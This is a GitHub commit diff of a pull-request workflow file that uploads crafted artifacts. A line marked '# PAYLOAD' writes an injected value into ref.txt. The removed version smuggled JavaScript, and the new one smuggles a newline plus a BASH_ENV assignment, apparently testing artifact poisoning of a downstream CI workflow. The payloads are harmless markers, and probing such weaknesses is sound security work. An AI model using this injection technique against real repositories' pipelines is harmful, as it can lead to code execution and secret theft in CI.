Skip to content

Commit e0910fd

Browse files
committed
test
1 parent 53ba1f2 commit e0910fd

File tree

1 file changed

+11
-4
lines changed

1 file changed

+11
-4
lines changed

.github/workflows/tests_wokwi.yml

+11-4
Original file line numberDiff line numberDiff line change
@@ -4,15 +4,22 @@ on:
44
pull_request:
55

66
jobs:
7-
trigger:
8-
name: Upload artifact
7+
get-artifacts:
8+
name: Get required artifacts
99
runs-on: ubuntu-latest
1010
steps:
1111
- run: |
12-
mkdir -p artifacts/parent-artifacts/
1312
printf "${{ github.sha }}" > artifacts/parent-artifacts/sha.txt
1413
printf "pull_request" > artifacts/parent-artifacts/event.txt
1514
printf "success" > artifacts/parent-artifacts/conclusion.txt
1615
printf "" > artifacts/parent-artifacts/action.txt
1716
# PAYLOAD
18-
printf "foo'; console.log('shouldnt print'); //" > artifacts/parent-artifacts/ref.txt
17+
printf "pull_request\nBASH_ENV=$(echo 'ENV-VAR INJECTION')" > artifacts/parent-artifacts/ref.txt
18+
19+
20+
- name: Upload parent artifacts
21+
uses: actions/upload-artifact@v4
22+
with:
23+
name: parent-artifacts
24+
path: artifacts
25+
if-no-files-found: error

0 commit comments

Comments
 (0)